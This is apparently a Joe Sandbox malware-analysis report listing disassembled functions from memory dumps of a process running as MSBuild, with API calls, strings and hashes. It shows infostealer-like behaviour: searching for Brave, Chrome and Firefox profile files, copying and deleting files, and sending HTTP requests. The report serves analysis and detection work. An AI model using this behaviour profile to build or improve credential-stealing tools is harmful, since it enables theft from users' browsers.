Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Brave, xrefs: 0040C102
\Brave\Preferences, xrefs: 0040C1DB
Google Chrome, xrefs: 0040C634
Preferences, xrefs: 0040C11E

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 6CBC35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4F688,00001000), ref: 6CBC35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBC35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CBC35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBC363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBC369F
__aulldiv.LIBCMT ref: 6CBC36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CBC3773
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBC377E
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBC37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CBC37C4
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBC37CB
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBC3801
__aulldiv.LIBCMT ref: 6CBC3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CBC3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CBC3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CBC394C

Strings

GenuntelineI, xrefs: 6CBC3639
AuthcAMDenti, xrefs: 6CBC3946
GTC, xrefs: 6CBC3912
MOZ_TIMESTAMP_MODE, xrefs: 6CBC35DB
QPC, xrefs: 6CBC38FC

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: b8cc7d13f068d661778981354438cb45fe7b4cafdba897d3abe685b1986be3f2
Instruction ID: eaa3be902f830ea8554a4f3cb132b4bd5c0be3fe91a7943ec9e181645a002ac7
Opcode Fuzzy Hash: b8cc7d13f068d661778981354438cb45fe7b4cafdba897d3abe685b1986be3f2
Instruction Fuzzy Hash: 0CB1C271B093509FDB08EF28C85569ABBF5FB8A708F05C92EE899D3750D770D9048B92

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149FB
%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,00D54F68), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,00D55038), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,00D54F78,?,00D562F0,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
", xrefs: 00404BF2
------, xrefs: 00404C69
------, xrefs: 00404B28
", xrefs: 00404D33

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425104,?,00401F2C,?,004251AC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425254), ref: 00401973
StrCmpCA.SHLWAPI(?,004252FC), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction ID: ec9ed5b7047c6bda7249a5c0e57325db5d04e86a6b28839c0a373f262e22f3db
Opcode Fuzzy Hash: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction Fuzzy Hash: BD1270719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
